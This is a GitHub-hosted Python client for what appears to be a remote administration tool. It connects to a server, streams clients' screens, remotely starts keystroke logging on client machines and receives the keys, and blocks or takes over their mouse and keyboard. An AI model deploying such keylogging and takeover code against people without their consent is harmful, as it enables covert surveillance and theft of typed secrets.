Repository navigation
Expand file tree
/
Copy pathAdminNetwork.py
More file actions
129 lines (98 loc) · 4.84 KB
/
Copy pathAdminNetwork.py
File metadata and controls
129 lines (98 loc) · 4.84 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
import socket
from zlib import decompress
from pynput import keyboard
from pynput.keyboard import Key
import threading
import json
import queue
from Myprotocol import Myprotocol
class RemoteDesktopClient:
def __init__(self, ip, port, frames):
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.sock.connect((ip, port))
self.protocol = Myprotocol()
# Send initial admin connection message
self.protocol.send_message(self.sock, "Admin", "connect")
self.active = []
self.frames = frames
# Initialize queues
self.screen_queue = queue.Queue()
# self.camera_queue = queue.Queue()
# Start receive thread
self.receive_thread = threading.Thread(target=self.main_receive_data, daemon=True)
self.receive_thread.start()
# Keyboard mapping
self.lastkey = None
self.num_to_symbol = {
'1': '!', '2': '@', '3': '#', '4': '$', '5': '%',
'6': '^', '7': '&', '8': '*', '9': '(', '0': ')'
}
self.sym_to_symbol = {
'`': '~', ',': '<', '.': '>', '/': '?', '\'': '\"', '\\': '|',
';': ':', '[': '{', ']': '}', '-': '_', '=': '+'
}
def main_receive_data(self):
try:
while True:
header, payload = self.protocol.recive_message(self.sock)
if header["thing"] == "screen":
pixels = decompress(payload.encode()) if isinstance(payload, str) else decompress(payload)
self.screen_queue.put(pixels)
elif header["thing"] == "camera":
pixels = decompress(payload.encode()) if isinstance(payload, str) else decompress(payload)
self.camera_queue.put(pixels)
elif header["thing"] == "keyboard listener":
self.frames["ConnectTarget"].keys_panel.enter_new_text(text=payload)
elif header["thing"] == "get clients":
home_page = self.frames["HomePage"]
if home_page:
count = 0
# Clear existing buttons first
home_page.server_canvas.delete("all")
for entity in payload.split(","):
if entity.strip(): # Only process non-empty entities
home_page.create_entity_button_server(entity.strip(), count)
count += 1
else:
print("HomePage frame not found")
elif header["thing"] == "screen_info":
info = json.loads(payload)
self.frames["ConnectTarget"].screen_panel.screen_width = info["width"]
self.frames["ConnectTarget"].screen_panel.screen_height = info["height"]
except Exception as e:
print(f"Error in receive thread: {e}")
def start_screen_capture(self):
self.protocol.send_message(self.sock, "retrieve_screenshot", "start")
def stop_screen_capture(self):
self.protocol.send_message(self.sock, "retrieve_screenshot", "stop")
def start_client_keys_listener(self):
self.protocol.send_message(self.sock,"start_keyboard_listener","start")
def stop_client_keys_listener(self):
self.protocol.send_message(self.sock, "start_keyboard_listener", "stop")
def start_mouse_control(self):
self.protocol.send_message(self.sock, "block_mouse", "start")
def stop_mouse_control(self):
self.protocol.send_message(self.sock, "block_mouse", "stop")
def send_mouse_pos(self,position):
message = {"position" : position}
self.protocol.send_message(self.sock, "Change_Mouse", "continue",json.dumps(message))
def send_mouse_clicks(self,click):
message = {"button" : click.num}
self.protocol.send_message(self.sock, "Click_mouse", "continue",json.dumps(message))
def start_keyboard_control(self):
self.protocol.send_message(self.sock, "block_keyboard_client", "start")
def stop_keyboard_control(self):
self.protocol.send_message(self.sock, "block_keyboard_client", "stop")
def send_writing_client(self,text : str):
self.protocol.send_message(self.sock,"send_writing_client","start",text)
#def start_camera(self):
# self.protocol.send_message(self.sock, "camera_feature", "start")
# threading.Thread(target=self.display_camera, daemon=True).start()
def return_home(self):
self.protocol.send_message(self.sock,"exit room")
def close(self):
self.stop_screen_capture()
#self.stop_camera()
self.stop_keyboard_control()
self.stop_mouse_control()
self.sock.close()